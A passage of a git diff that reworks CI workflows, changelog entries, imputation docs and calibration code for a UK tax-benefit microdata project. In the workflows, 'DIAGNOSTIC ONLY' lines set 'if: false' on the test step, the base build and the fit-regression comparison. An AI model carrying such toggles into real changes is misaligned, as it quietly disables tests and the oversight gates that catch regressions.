diff --git a/.github/workflows/pull_request.yaml b/.github/workflows/pull_request.yaml index 9443fa258..989b76d5a 100644 --- a/.github/workflows/pull_request.yaml +++ b/.github/workflows/pull_request.yaml @@ -60,7 +60,7 @@ jobs: runs-on: ubuntu-latest # Slowest observed 2026-10-06..08: 47 minutes (TESTING build plus tests). # Fail a hung build instead of holding a runner for the 6-hour default. - timeout-minutes: 90 + timeout-minutes: 180 # DIAGNOSTIC ONLY: production build env: HUGGING_FACE_TOKEN: ${{ secrets.HUGGING_FACE_TOKEN }} PYTHONUNBUFFERED: "1" @@ -72,6 +72,10 @@ jobs: fetch-depth: 0 # Fetch all history for all tags and branches - name: Install uv uses: astral-sh/setup-uv@v8.1.0 + # Restore uv's package cache but never save one from a job that + # holds the data: its location can be moved (UV_CACHE_DIR). + with: + save-cache: false - name: Set up Python uses: actions/setup-python@v6 with: @@ -85,22 +89,323 @@ jobs: - name: Build datasets run: uv run --frozen make data env: - TESTING: "1" - - name: Save calibration log (constituencies) - uses: actions/upload-artifact@v7 - with: - name: constituency_calibration_log.csv - path: constituency_calibration_log.csv - - - name: Save calibration log (local authorities) - uses: actions/upload-artifact@v7 - with: - name: la_calibration_log.csv - path: la_calibration_log.csv + TESTING: "0" # DIAGNOSTIC ONLY: production settings (512 epochs) + # The raw calibration logs stay on the runner. They hold every target's + # weighted estimate at every logged epoch with no small-cell control, so a + # target supported by a few households, divided by a published count, + # could give one household's value back, and this repository's + # artifacts are public. - name: Run tests + if: false # DIAGNOSTIC ONLY (batch-3 attribution): skip tests to save runner time run: uv run --frozen make test env: # Relaxes built-dataset outcome tolerances to match the reduced # fidelity of the TESTING build above (see test_cgt_band_donors). TESTING: "1" + # After the tests, whatever they did. The raw calibration logs stay on + # the runner: a target supported by a few households, divided by a + # published count, could give one household's value back. Only the + # summary the fit comparison needs is uploaded (utils/fit_report.py). + - name: Summarise the calibration fit + if: ${{ !cancelled() }} + run: uv run --frozen python -m policyengine_uk_data.utils.fit_report summarise constituency_calibration_log.csv --out fit_summary.json + - name: Save the fit summary + if: ${{ !cancelled() }} + uses: actions/upload-artifact@v7 + with: + name: fit_summary.json + path: fit_summary.json + # After the tests, and whatever they did: the measurement downloads the + # ONS projection, and an ONS outage must not skip the test suite. + - name: Measure the income distribution and single ages + if: ${{ !cancelled() }} + # A failed measurement fails the comparison (missing report), not + # the test job, which stays about the tests. + continue-on-error: true + run: uv run --frozen python -m policyengine_uk_data.utils.distribution_validation measure policyengine_uk_data/storage/enhanced_frs_2024_25.h5 --out distribution_report.json + - name: Save the distribution report + if: ${{ !cancelled() }} + uses: actions/upload-artifact@v7 + with: + name: distribution_report.json + path: distribution_report.json + - name: Check out the aggregate-impact tool + if: ${{ !cancelled() }} + # A missing result fails the comparison, not the test job. + continue-on-error: true + uses: actions/checkout@v6 + with: + repository: PolicyEngine/policyengine-uk + ref: 6406b2ceae24f174eca41bfa1dbb1026305d2a46 + path: pe-uk-tool + sparse-checkout: | + policyengine_uk/utils/aggregate_impact + policyengine_uk/data/fiscal_partition.yaml + - name: Measure national aggregates with the model fixed + if: ${{ !cancelled() }} + # A missing result fails the comparison, not the test job. + continue-on-error: true + run: | + tool="$RUNNER_TEMP/tool" + mkdir -p "$tool" + cp -R pe-uk-tool/policyengine_uk/utils/aggregate_impact "$tool/pe_uk_aggregate_impact" + model="policyengine-uk==$(uv run --frozen python -c 'import importlib.metadata as m; print(m.version("policyengine-uk"))')" + PYTHONPATH="$tool" uv run --frozen python -m pe_uk_aggregate_impact measure \ + --label head --dataset-file policyengine_uk_data/storage/enhanced_frs_2024_25.h5 --dataset-label "this pull request's build" \ + --fallback-partition pe-uk-tool/policyengine_uk/data/fiscal_partition.yaml \ + --no-guard --git-sha "$model" --out "$RUNNER_TEMP/aggregate" || true + cp "$RUNNER_TEMP/aggregate/result.json" aggregate_result.json \ + || echo "::warning::The aggregate measurement wrote no result; see the log above." + - name: Save the aggregate result (aggregates only) + if: ${{ !cancelled() }} + uses: actions/upload-artifact@v7 + with: + name: aggregate_result.json + path: aggregate_result.json + # The policyengine-uk aggregate-impact tool (policyengine_uk/utils/ + # aggregate_impact) at a pinned commit measures each build with the locked + # model, and the comparison job compares them with the model fixed + # (`compare --axis data`). Only result.json leaves a job; its private/ + # folder (household detail) stays on the runner. + # The no-worsening check (W3). The base is built the same way as the head: + # TESTING, one clone and the head's lockfile, so both builds run one model + # and environment and the comparison measures the data change. As in the + # test job, only aggregate reports leave it: the fit summary, the + # distribution report and the aggregate result. No dataset or calibration + # log is uploaded, and nothing is cached: setup-uv restores uv's package + # cache and saves none. + base-build: + name: Build the base for comparison + if: false # DIAGNOSTIC ONLY (batch-3 attribution) + runs-on: ubuntu-latest + timeout-minutes: 60 + env: + HUGGING_FACE_TOKEN: ${{ secrets.HUGGING_FACE_TOKEN }} + PYTHONUNBUFFERED: "1" + PE_UK_DATA_OA_CLONES: "1" + steps: + - name: Check out the head, for its lockfile + uses: actions/checkout@v6 + with: + path: head + - name: Check out the base + uses: actions/checkout@v6 + with: + ref: ${{ github.event.pull_request.base.sha }} + path: base + - name: Install uv + uses: astral-sh/setup-uv@v8.1.0 + # Restore uv's package cache but never save one from a job that + # holds the data: its location can be moved (UV_CACHE_DIR). + with: + save-cache: false + - name: Set up Python + uses: actions/setup-python@v6 + with: + python-version: 3.13 + - name: Sync the head's locked environment for the base + run: | + cp head/uv.lock base/uv.lock + cd base && uv sync --frozen --all-extras + - name: Download data inputs + working-directory: base + run: uv run --frozen make download + - name: Build the base datasets + working-directory: base + run: uv run --frozen make data + env: + TESTING: "1" + - name: Summarise the base's calibration fit + run: | + cp head/policyengine_uk_data/utils/fit_report.py base/policyengine_uk_data/utils/fit_report.py + uv run --frozen --project base python -m policyengine_uk_data.utils.fit_report summarise base/constituency_calibration_log.csv --out base_fit_summary.json + - name: Save the base fit summary + uses: actions/upload-artifact@v7 + with: + name: base_fit_summary.json + path: base_fit_summary.json + - name: Measure the base's income distribution and single ages + working-directory: base + # The head's measurement code, on the base's build. + run: | + mkdir -p policyengine_uk_data/targets/reference_data + cp ../head/policyengine_uk_data/utils/distribution_validation.py policyengine_uk_data/utils/ + cp ../head/policyengine_uk_data/targets/reference_data/hbai_fye_2025.yaml policyengine_uk_data/targets/reference_data/ + uv run --frozen python -m policyengine_uk_data.utils.distribution_validation measure policyengine_uk_data/storage/enhanced_frs_2024_25.h5 --out ../base_distribution_report.json + - name: Save the base distribution report + uses: actions/upload-artifact@v7 + with: + name: base_distribution_report.json + path: base_distribution_report.json + - name: Check out the aggregate-impact tool + if: ${{ !cancelled() }} + uses: actions/checkout@v6 + with: + repository: PolicyEngine/policyengine-uk + ref: 6406b2ceae24f174eca41bfa1dbb1026305d2a46 + path: pe-uk-tool + sparse-checkout: | + policyengine_uk/utils/aggregate_impact + policyengine_uk/data/fiscal_partition.yaml + - name: Measure national aggregates with the model fixed + if: ${{ !cancelled() }} + run: | + tool="$RUNNER_TEMP/tool" + mkdir -p "$tool" + cp -R pe-uk-tool/policyengine_uk/utils/aggregate_impact "$tool/pe_uk_aggregate_impact" + model="policyengine-uk==$(uv run --frozen --project base python -c 'import importlib.metadata as m; print(m.version("policyengine-uk"))')" + PYTHONPATH="$tool" uv run --frozen --project base python -m pe_uk_aggregate_impact measure \ + --label base --dataset-file base/policyengine_uk_data/storage/enhanced_frs_2024_25.h5 --dataset-label "the base's build" \ + --fallback-partition pe-uk-tool/policyengine_uk/data/fiscal_partition.yaml \ + --no-guard --git-sha "$model" --out "$RUNNER_TEMP/aggregate" || true + cp "$RUNNER_TEMP/aggregate/result.json" base_aggregate_result.json \ + || echo "::warning::The aggregate measurement wrote no result; see the log above." + - name: Save the aggregate result (aggregates only) + if: ${{ !cancelled() }} + uses: actions/upload-artifact@v7 + with: + name: base_aggregate_result.json + path: base_aggregate_result.json + fit-comparison: + name: Calibration fit against the base + needs: [test, base-build] + # Report a failed side too: an earlier passing comment must not stand. + if: false # DIAGNOSTIC ONLY (batch-3 attribution) + runs-on: ubuntu-latest + timeout-minutes: 20 + permissions: + contents: read + issues: write + pull-requests: write + steps: + - uses: actions/checkout@v6 + - name: Install uv + uses: astral-sh/setup-uv@v8.1.0 + # Restore uv's package cache but never save one from a job that + # holds the data: its location can be moved (UV_CACHE_DIR). + with: + save-cache: false + - name: Set up Python + uses: actions/setup-python@v6 + with: + python-version: 3.13 + - name: Sync locked environment + run: uv sync --frozen + - name: Download the fit summaries + uses: actions/download-artifact@v8 + continue-on-error: true + with: + pattern: "*fit_summary.json" + path: logs + merge-multiple: true + - name: Download the distribution reports + uses: actions/download-artifact@v8 + continue-on-error: true + with: + pattern: "*distribution_report.json" + path: reports + merge-multiple: true + - name: Download the aggregate results + uses: actions/download-artifact@v8 + continue-on-error: true + with: + pattern: "*aggregate_result.json" + path: aggregates + merge-multiple: true + - name: Check out the aggregate-impact tool + uses: actions/checkout@v6 + with: + repository: PolicyEngine/policyengine-uk + ref: 6406b2ceae24f174eca41bfa1dbb1026305d2a46 + path: pe-uk-tool + sparse-checkout: | + policyengine_uk/utils/aggregate_impact + - name: Compare the final fits + id: compare + env: + RUN_URL: ${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }} + run: | + marker='' + if [ ! -f logs/fit_summary.json ] || [ ! -f logs/base_fit_summary.json ]; then + { + echo "$marker" + echo '## Calibration fit against the base build: FAIL' + echo + echo "One of the builds produced no fit summary, so the fit could not be compared. See the [workflow run]($RUN_URL)." + } > fit.md + echo "status=1" >> "$GITHUB_OUTPUT" + else + set +e + uv run --frozen python -m policyengine_uk_data.utils.fit_report compare \ + logs/base_fit_summary.json logs/fit_summary.json --markdown body.md + echo "status=$?" >> "$GITHUB_OUTPUT" + set -e + { echo "$marker"; cat body.md 2>/dev/null || echo '## Calibration fit against the base build: FAIL'; echo; echo "[Workflow run]($RUN_URL)"; } > fit.md + fi + if [ -f reports/base_distribution_report.json ] && [ -f reports/distribution_report.json ]; then + set +e + uv run --frozen python -m policyengine_uk_data.utils.distribution_validation compare \ + reports/base_distribution_report.json reports/distribution_report.json --markdown distribution.md + distribution_status=$? + set -e + { echo; cat distribution.md 2>/dev/null || echo '## Income distribution and single ages: FAIL (the comparison did not finish)'; } >> fit.md + if [ "$distribution_status" != 0 ]; then echo "status=1" >> "$GITHUB_OUTPUT"; fi + else + { echo; echo '## Income distribution and single ages: FAIL'; echo; echo "The report is missing for one build, so the distributions could not be compared."; } >> fit.md + echo "status=1" >> "$GITHUB_OUTPUT" + fi + # National aggregates with the model fixed. + tool="$RUNNER_TEMP/tool" + mkdir -p "$tool" aggregates/base aggregates/head + cp -R pe-uk-tool/policyengine_uk/utils/aggregate_impact "$tool/pe_uk_aggregate_impact" + if [ -f aggregates/base_aggregate_result.json ] && [ -f aggregates/aggregate_result.json ]; then + mv aggregates/base_aggregate_result.json aggregates/base/result.json + mv aggregates/aggregate_result.json aggregates/head/result.json + set +e + PYTHONPATH="$tool" uv run --frozen python -m pe_uk_aggregate_impact compare --axis data \ + --base aggregates/base --head aggregates/head --markdown aggregates.md --run-url "$RUN_URL" + aggregate_status=$? + set -e + if [ "$aggregate_status" != 0 ]; then echo "status=1" >> "$GITHUB_OUTPUT"; fi + # The tool's comment marker belongs to policyengine-uk's own comment. + if [ -s aggregates.md ]; then + { echo; sed '/^$/d' aggregates.md; } >> fit.md + else + { echo; echo '## National aggregates: FAIL (the comparison did not finish)'; } >> fit.md + echo "status=1" >> "$GITHUB_OUTPUT" + fi + else + { echo; echo '## National aggregates: FAIL'; echo; echo "The result is missing for one build (see the build jobs' logs), so the aggregates could not be compared."; } >> fit.md + echo "status=1" >> "$GITHUB_OUTPUT" + fi + cat fit.md >> "$GITHUB_STEP_SUMMARY" + - name: Post or update the pull request comment + if: ${{ !cancelled() && github.event.pull_request.head.repo.full_name == github.repository }} + env: + GH_TOKEN: ${{ github.token }} + PR: ${{ github.event.pull_request.number }} + run: | + marker='' + if [ ! -s fit.md ]; then + # The job failed before the comparison could write a comment. + { + echo "$marker" + echo '## Calibration fit against the base build: FAIL' + echo + echo "The comparison did not run. See the [workflow run]($GITHUB_SERVER_URL/$GITHUB_REPOSITORY/actions/runs/$GITHUB_RUN_ID)." + } > fit.md + fi + existing=$(gh api --paginate "repos/$GITHUB_REPOSITORY/issues/$PR/comments" \ + --jq ".[] | select(.user.login == \"github-actions[bot]\") | select(.body | startswith(\"$marker\")) | .id" \ + | tail -n 1) + if [ -n "$existing" ]; then + gh api -X PATCH "repos/$GITHUB_REPOSITORY/issues/comments/$existing" -F body=@fit.md > /dev/null + else + gh api -X POST "repos/$GITHUB_REPOSITORY/issues/$PR/comments" -F body=@fit.md > /dev/null + fi + - name: Fail on a fit regression + if: steps.compare.outputs.status != '0' + run: | + echo "::error::The calibration fit, distribution or national aggregate comparison failed; see the job summary." + exit 1 diff --git a/.github/workflows/push.yaml b/.github/workflows/push.yaml index 87c2e4064..6bf4ae298 100644 --- a/.github/workflows/push.yaml +++ b/.github/workflows/push.yaml @@ -123,6 +123,10 @@ jobs: fetch-depth: 0 # Fetch all history for all tags and branches - name: Install uv uses: astral-sh/setup-uv@v8.1.0 + # Restore uv's package cache but never save one from a job that + # holds the data: its location can be moved (UV_CACHE_DIR). + with: + save-cache: false - name: Set up Python uses: actions/setup-python@v6 with: @@ -139,17 +143,11 @@ jobs: HUGGING_FACE_TOKEN: ${{ secrets.HUGGING_FACE_TOKEN }} - name: Build datasets run: uv run --frozen make data - - name: Save calibration log (constituencies) - uses: actions/upload-artifact@v7 - with: - name: constituency_calibration_log.csv - path: constituency_calibration_log.csv - - - name: Save calibration log (local authorities) - uses: actions/upload-artifact@v7 - with: - name: la_calibration_log.csv - path: la_calibration_log.csv + # The raw calibration logs stay on the runner. They hold every target's + # weighted estimate at every logged epoch with no small-cell control, so a + # target supported by a few households, divided by a published count, + # could give one household's value back, and this repository's + # artifacts are public. - name: Run tests run: uv run --frozen make test - name: Upload data diff --git a/.gitignore b/.gitignore index 70d8396d3..b0b3a6ab6 100644 --- a/.gitignore +++ b/.gitignore @@ -18,6 +18,7 @@ !policyengine_uk_data/datasets/local_areas/**/*.csv **/_build !policyengine_uk_data/storage/*.csv +!policyengine_uk_data/tests/fixtures/ons_uk_population_2025.csv **/version.json # Build output: household weights by local area, derived from FRS microdata policyengine_uk_data/storage/local_geography_weights.csv.gz @@ -26,3 +27,6 @@ policyengine_uk_data/storage/local_geography_weights.csv.gz # Hypothesis example database (property-based tests) .hypothesis/ + +# Local build-job notes, caches and hand-off artefacts +.job/ diff --git a/changelog.d/468.fixed.md b/changelog.d/468.fixed.md new file mode 100644 index 000000000..3980abe1f --- /dev/null +++ b/changelog.d/468.fixed.md @@ -0,0 +1,10 @@ +Align local Universal Credit targets by area code, preserve constituencies' 2024 boundaries, and use each matched constituency's country for its children split. + +Restore the correct 2024 code order for the mapped income, age and housing targets of all 57 Scottish constituencies. This is a pure reorder; Scotland's totals are unchanged. Target moves from the previous positional assignment are: + +| Target | Rows moving >5% | Rows moving >25% | Maximum move | +|---|---:|---:|---:| +| Age population | 44 | 11 | 269.7% | +| Housing anchor | 44 | 11 | 269.7% | +| Employment income amount | 53 | 26 | 245% | +| Self-employment income amount | 53 | 37 | 799% | diff --git a/changelog.d/593-age-topcode.fixed.md b/changelog.d/593-age-topcode.fixed.md new file mode 100644 index 000000000..49bfb27ce --- /dev/null +++ b/changelog.d/593-age-topcode.fixed.md @@ -0,0 +1 @@ +Matched national and regional ONS age targets to the FRS top code with open-ended 80+ bands, including the projection's oldest age groups. diff --git a/changelog.d/aggregate-data-comparison.added.md b/changelog.d/aggregate-data-comparison.added.md new file mode 100644 index 000000000..e15b5d1f2 --- /dev/null +++ b/changelog.d/aggregate-data-comparison.added.md @@ -0,0 +1 @@ +Compare each pull request build's national aggregates (receipts, spending, caseloads, poverty, deciles and the standard reform costings) with its base build's, measured with the locked model by policyengine-uk's aggregate-impact tool, and report them in the pull request comment. diff --git a/changelog.d/capital-gains-hmrc-2024-25.fixed.md b/changelog.d/capital-gains-hmrc-2024-25.fixed.md new file mode 100644 index 000000000..a287abe20 --- /dev/null +++ b/changelog.d/capital-gains-hmrc-2024-25.fixed.md @@ -0,0 +1 @@ +- Calibrate capital gains to HMRC's 2024-25 outturn for individuals (Capital Gains Tax statistics, 2026 release: 548,000 taxpayers with £119.3bn of gains above the annual exempt amount) and start the calibration on it. The 1.58.0 build targeted the 2023-24 all-taxpayer headline (£65.9bn, including trusts) and ended 19% under even that, with £53bn of gains above the exempt amount and a further -£15bn of losses on 1.4m people. Its calibration started 17 times over on CGT taxpayers, because the has-gains copy of each zero-weight SPI household received a full prior weight. Capital gains are now the last imputation, so a has-gains copy matches its original in everything but the gain. Each household splits its calibration prior into complementary original and twin parts using the Advani-Summers propensity for its income band before rejecting small draws, zero-weight households included; both parts are carried through geography cloning and uprating into calibration; draws at or under the exempt amount, including losses, carry no gains; donors cover only the size bands from £500,000 up; and the calibration scales its starting weights so every HMRC size band's taxpayer count begins on target. The aggregate targets are now the sums of the size-band targets. diff --git a/changelog.d/deterministic-calibration.fixed.md b/changelog.d/deterministic-calibration.fixed.md new file mode 100644 index 000000000..877dd7573 --- /dev/null +++ b/changelog.d/deterministic-calibration.fixed.md @@ -0,0 +1 @@ +- Seed the weight dropout in `calibrate_local_areas` with its own generator (`seed`, default 0). The dropout masks were drawn from torch's global generator, which torch seeds differently in every process, so two builds of the same commit with the same inputs gave different household weights and aggregates. diff --git a/changelog.d/distribution-checks.added.md b/changelog.d/distribution-checks.added.md new file mode 100644 index 000000000..5077bf911 --- /dev/null +++ b/changelog.d/distribution-checks.added.md @@ -0,0 +1 @@ +Measure each pull request build's HBAI income distribution (medians, means, Gini and relative low income by group against DWP's HBAI FYE 2025 estimates and intervals) and single-age population (against the ONS 2024-based projection), and report them against the base build in the pull request comment. They flag but do not fail yet. diff --git a/changelog.d/final-calibration-weights.fixed.md b/changelog.d/final-calibration-weights.fixed.md new file mode 100644 index 000000000..21210147e --- /dev/null +++ b/changelog.d/final-calibration-weights.fixed.md @@ -0,0 +1 @@ +Save and return the calibrated weights from the final optimiser step. Weights were saved only every tenth epoch, so a 512-epoch build shipped the state after epoch 510 of 0–511 and dropped the last update (#456). diff --git a/changelog.d/fit-comparison.added.md b/changelog.d/fit-comparison.added.md new file mode 100644 index 000000000..89d7d993e --- /dev/null +++ b/changelog.d/fit-comparison.added.md @@ -0,0 +1 @@ +Build each pull request's base the same way as its head, with the head's lockfile, and fail when the share of national or local targets within 10% falls by more than 2 percentage points over the targets both builds have (`targets/fit_policy.yaml`). National targets in a worse error band on the head are flagged in a pull request comment. The raw calibration logs stay on the runner; only each target's error band (within 10%, 10-25%, 25-50%, 50-100%, over 100%) is uploaded, with no estimate or error (`python -m policyengine_uk_data.utils.fit_report summarise` and `compare`). diff --git a/changelog.d/frs-approved-training-trainee.fixed.md b/changelog.d/frs-approved-training-trainee.fixed.md new file mode 100644 index 000000000..a72ab30b1 --- /dev/null +++ b/changelog.d/frs-approved-training-trainee.fixed.md @@ -0,0 +1 @@ +Code FRS dependants in unwaged government training as in approved training, from the TRAINEE flag on child-table records. The build read `train`, which is the question name of `TRAIN2` and not a column, so nobody was in approved training. In FRS 2024-25 that left all 20 dependants aged 16 to 19 outside full-time education (33.0k grossed, every one a trainee) failing the education-or-training condition of the UC, Pension Credit, Child Benefit and Child Tax Credit qualifying-young-person tests. diff --git a/changelog.d/obr-ni-total-target.fixed.md b/changelog.d/obr-ni-total-target.fixed.md new file mode 100644 index 000000000..f0e4f4cfd --- /dev/null +++ b/changelog.d/obr-ni-total-target.fixed.md @@ -0,0 +1 @@ +Stop calibrating OBR total NICs (Table 3.8, £200bn in 2025-26) on `ni_employee`, which the Class 1 employee NICs target (£50bn) also used; the two targets on one matrix column could not both be met. The Table 3.4 class targets (employee, employer, self-employed) already cover every NIC class the data populates. Tests now pin the variable of each OBR receipts target and check that no two calibration targets sharing a plain-variable column disagree on a year's value. diff --git a/changelog.d/obr-source-manifest.changed.md b/changelog.d/obr-source-manifest.changed.md new file mode 100644 index 000000000..8a609f7c1 --- /dev/null +++ b/changelog.d/obr-source-manifest.changed.md @@ -0,0 +1 @@ +Build the OBR targets only from the committed EFO workbooks named, with their SHA-256 and title, in a vintage manifest (`targets/source_manifests/`). Read each table's financial years from its header row rather than fixed column letters, and fail the build when a manifest target or year is missing instead of logging and dropping it. Add `python -m policyengine_uk_data.targets.obr_sources ingest` for adopting a new EFO vintage, which prints every target's change; its `--dry-run` reports, and exits non-zero on, an ingested vintage, an interrupted ingest's leftovers or a download page off obr.uk, which the real ingest refuses. diff --git a/changelog.d/scotland-council-tax-workbook.fixed.md b/changelog.d/scotland-council-tax-workbook.fixed.md new file mode 100644 index 000000000..d3cdd5fd2 --- /dev/null +++ b/changelog.d/scotland-council-tax-workbook.fixed.md @@ -0,0 +1 @@ +Read the Scottish council tax band targets from the committed September 2025 chargeable-dwellings workbook, verified by its SHA-256, instead of downloading it and substituting a fixed distribution when gov.scot blocked the download (#596). diff --git a/changelog.d/spi-tax-year-start.fixed.md b/changelog.d/spi-tax-year-start.fixed.md new file mode 100644 index 000000000..a2013007d --- /dev/null +++ b/changelog.d/spi-tax-year-start.fixed.md @@ -0,0 +1 @@ +Map the HMRC Survey of Personal Incomes 2023-24 outturn to PolicyEngine year 2023, the tax year it describes, instead of 2024. Return each SPI income band as one target that holds both the base year and the projected years, so calibration uses the projected values rather than the base-year outturn carried forward. Regenerate the SPI projections from the corrected base year with the current uprating factors. Defer the CGT year mapping and aggregate/band feasibility to a follow-up on top of #571. diff --git a/changelog.d/stop-raw-calibration-log-artifacts.fixed.md b/changelog.d/stop-raw-calibration-log-artifacts.fixed.md new file mode 100644 index 000000000..4ff272a3a --- /dev/null +++ b/changelog.d/stop-raw-calibration-log-artifacts.fixed.md @@ -0,0 +1 @@ +Pull request and push builds no longer upload the raw constituency and local authority calibration logs as Actions artifacts, which are public on this repository; the logs stay on the runner. diff --git a/changelog.d/target-coverage-gate.changed.md b/changelog.d/target-coverage-gate.changed.md new file mode 100644 index 000000000..bcda429e8 --- /dev/null +++ b/changelog.d/target-coverage-gate.changed.md @@ -0,0 +1 @@ +Fail the calibration build when a national target is dropped (its name already taken, no value for the year, no column, an error), has a non-finite value, or enters with no household contributing, unless `targets/known_gaps.yaml` lists it with a reason and an issue, for every build or only for testing or release builds. Add `python -m policyengine_uk_data.targets.coverage` to report every target's status on a dataset. diff --git a/docs/imputations.md b/docs/imputations.md index 75fd1a56d..dd9562033 100644 --- a/docs/imputations.md +++ b/docs/imputations.md @@ -11,9 +11,9 @@ The imputations are applied in this order (dependencies noted): 3. **VAT** (from ETB) 4. **Public Services** (from ETB) 5. **Income** (from SPI) -6. **Capital Gains** (from Advani-Summers data) -7. **Salary Sacrifice** (from FRS subsample) -8. **Student Loan Plan** (rule-based, from age) +6. **Salary Sacrifice** (from FRS subsample) +7. **Student Loan Plan** (rule-based, from age) +8. **Capital Gains** (from Advani-Summers data and HMRC statistics) — last, after Pension Credit take-up is assigned, because it stacks a second record for each household with gains --- @@ -160,14 +160,15 @@ Imputes detailed income components to create "synthetic taxpayers" with higher i ## Capital Gains Imputation -**Source:** Advani-Summers capital gains distribution data +**Sources:** Advani-Summers capital gains distribution data; HMRC Capital Gains Tax statistics, Table 2.1a (individuals, by size of gain) -Uses a gradient-based optimization approach rather than QRF. The dataset is doubled, with one half receiving imputed capital gains amounts. Weights are then optimized to match the empirical relationship between total income and capital gains incidence. +Not a QRF. Advani and Summers give, for each band of total income, the share of people with gains and the percentiles of those gains. HMRC gives the number of individuals with a CGT liability, and their gains, by size of gain. The imputation takes who holds gains from the first and how many hold how much from the second. ### Method -1. Double the dataset (original + clone) -2. Assign capital gains to one adult per household in the cloned half -3. Optimize blend weights to match income-band capital gains incidence from Advani-Summers data +1. Each household's first adult draws a gain from their income band's Advani-Summers distribution. +2. Where the draw is above the lowest HMRC size band limit (the £3,000 annual exempt amount), the household is stacked again as a has-gains twin carrying the gain. The split propensity adjusts Advani-Summers' share of all people in the income band for assignment to first adults only. This is the propensity before rejecting draws of £3,000 or less; rejecting those draws lowers realised incidence. For a zero-weight (SPI synthetic) household, complementary original and twin calibration priors are carried into calibration. The prior-equivalent weight sets only the twin's household weight, while the original's household weight remains zero. Smaller draws, including losses, get no twin: HMRC publishes liable taxpayers only, so nothing would anchor them. +3. The spline stops at each band's 95th percentile, so few draws exceed £500,000 and none exceeds about £2m. For each HMRC size band from £500,000 up, 30 donor households are stacked carrying the band's published mean gain. +4. Calibration targets the taxpayer count and the gains of each HMRC size band, and their totals. Before the first epoch it scales the starting weights so that each band's taxpayer count is on its target. --- diff --git a/policyengine_uk_data/calibration/clone_and_assign.py b/policyengine_uk_data/calibration/clone_and_assign.py index 826335735..2e221dc9b 100644 --- a/policyengine_uk_data/calibration/clone_and_assign.py +++ b/policyengine_uk_data/calibration/clone_and_assign.py @@ -80,8 +80,8 @@ def clone_and_assign( The OA's region, LA and constituency therefore never contradict the household's ``region``. - Household weights are divided by n_clones so aggregate - population totals are preserved. + Household weights and any carried calibration priors are divided by + n_clones so their aggregate totals are preserved. Args: dataset: Input FRS dataset (post-imputation). @@ -195,6 +195,10 @@ def clone_and_assign( hh_clone["source_year"] = dataset.time_period hh_clone["household_id"] = new_hh_ids hh_clone["household_weight"] = hh["household_weight"].values / n_clones + if "household_calibration_prior" in hh: + hh_clone["household_calibration_prior"] = ( + hh["household_calibration_prior"].values / n_clones + ) # Add geography columns from assignment # Initialise with empty strings for all households diff --git a/policyengine_uk_data/calibration/matrix_builder.py b/policyengine_uk_data/calibration/matrix_builder.py index 820e7e74e..0d213b7fd 100644 --- a/policyengine_uk_data/calibration/matrix_builder.py +++ b/policyengine_uk_data/calibration/matrix_builder.py @@ -189,14 +189,22 @@ def _load_area_targets( get_uk_total_population, ) - y = pd.DataFrame() time_period = dataset.time_period # ── Income targets ────────────────────────────────────────────── if area_type == "constituency": incomes = get_constituency_income_targets() + age_targets = get_constituency_age_targets() else: incomes = get_la_income_targets() + age_targets = get_la_age_targets() + + # SPI income and age inputs share this source order. Keep the codes + # through any boundary mapping before selecting the requested rows. + assert incomes["code"].equals(age_targets["code"]), ( + "Income and age code order differs" + ) + y = pd.DataFrame(index=pd.Index(age_targets["code"], name="code")) national_incomes = get_national_income_projections(int(time_period)) @@ -215,11 +223,6 @@ def _load_area_targets( ) # ── Age targets ───────────────────────────────────────────────── - if area_type == "constituency": - age_targets = get_constituency_age_targets() - else: - age_targets = get_la_age_targets() - uk_total_population = get_uk_total_population(int(time_period)) age_cols = [c for c in age_targets.columns if c.startswith("age/")] @@ -231,31 +234,40 @@ def _load_area_targets( for col in age_cols: y[col] *= uk_total_population / targets_total_pop * 0.9 + # ── Boundary mapping (constituency 2010 → 2024 only) ─────────── + if area_type == "constituency": + from policyengine_uk_data.datasets.local_areas.constituencies.boundary_changes.mapping_matrix import ( + mapping_matrix, + old_codes, + new_codes, + ) + + y = pd.DataFrame( + mapping_matrix @ y.loc[old_codes].to_numpy(), + index=pd.Index(new_codes, name="code"), + columns=y.columns, + ) + + # Both the OA assignment matrix and the LA extras use area_codes order. + y = y.loc[area_codes["code"]] + # ── UC targets ────────────────────────────────────────────────── + # Constituency UC counts are already on 2024 boundaries and must stay + # outside the mapping applied to the older income and age sources. if area_type == "constituency": from policyengine_uk_data.targets.sources.local_uc import ( get_constituency_uc_targets, get_constituency_uc_by_children_targets, ) - y["uc_households"] = get_constituency_uc_targets().values - uc_by_children = get_constituency_uc_by_children_targets() + y["uc_households"] = get_constituency_uc_targets().loc[y.index] + uc_by_children = get_constituency_uc_by_children_targets().loc[y.index] for col in uc_by_children.columns: - y[col] = uc_by_children[col].values + y[col] = uc_by_children[col] else: from policyengine_uk_data.targets.sources.local_uc import get_la_uc_targets - y["uc_households"] = get_la_uc_targets().values - - # ── Boundary mapping (constituency 2010 → 2024 only) ─────────── - if area_type == "constituency": - from policyengine_uk_data.datasets.local_areas.constituencies.boundary_changes.mapping_matrix import ( - mapping_matrix, - ) - - y_columns = list(y.columns) - y_values = mapping_matrix @ y.values - y = pd.DataFrame(y_values, columns=y_columns) + y["uc_households"] = get_la_uc_targets().loc[y.index] # ── LA extras: ONS income, tenure, rent ───────────────────────── if area_type == "la": @@ -264,8 +276,7 @@ def _load_area_targets( load_household_counts, load_tenure_data, load_private_rents, - UPRATING_NET_INCOME_BHC_2020_TO_2025, - UPRATING_HOUSING_COSTS_2020_TO_2025, + get_ons_income_uprating_factors, ) original_weights = sim.calculate("household_weight", 2025).values @@ -288,16 +299,19 @@ def _load_area_targets( "equiv_hbai_household_net_income_ahc" ).values housing_costs = hbai_net_income - hbai_net_income_ahc + income_bhc_uprating_factor, housing_costs_uprating_factor = ( + get_ons_income_uprating_factors(int(time_period)) + ) ons_merged["equiv_net_income_bhc_target"] = ( ons_merged["net_income_bhc"] * ons_merged["households"] - * UPRATING_NET_INCOME_BHC_2020_TO_2025 + * income_bhc_uprating_factor ) ons_merged["equiv_housing_costs_target"] = ( ons_merged["net_income_bhc"] * ons_merged["households"] - ons_merged["net_income_ahc"] * ons_merged["households"] - ) * UPRATING_HOUSING_COSTS_2020_TO_2025 + ) * housing_costs_uprating_factor ons_merged["equiv_net_income_ahc_target"] = ( ons_merged["equiv_net_income_bhc_target"] - ons_merged["equiv_housing_costs_target"] @@ -385,7 +399,7 @@ def _load_area_targets( national_rent * la_household_share, ) - return y + return y.reset_index(drop=True) def create_cloned_target_matrix( diff --git a/policyengine_uk_data/datasets/create_datasets.py b/policyengine_uk_data/datasets/create_datasets.py index e005aa6d7..6e047d92b 100644 --- 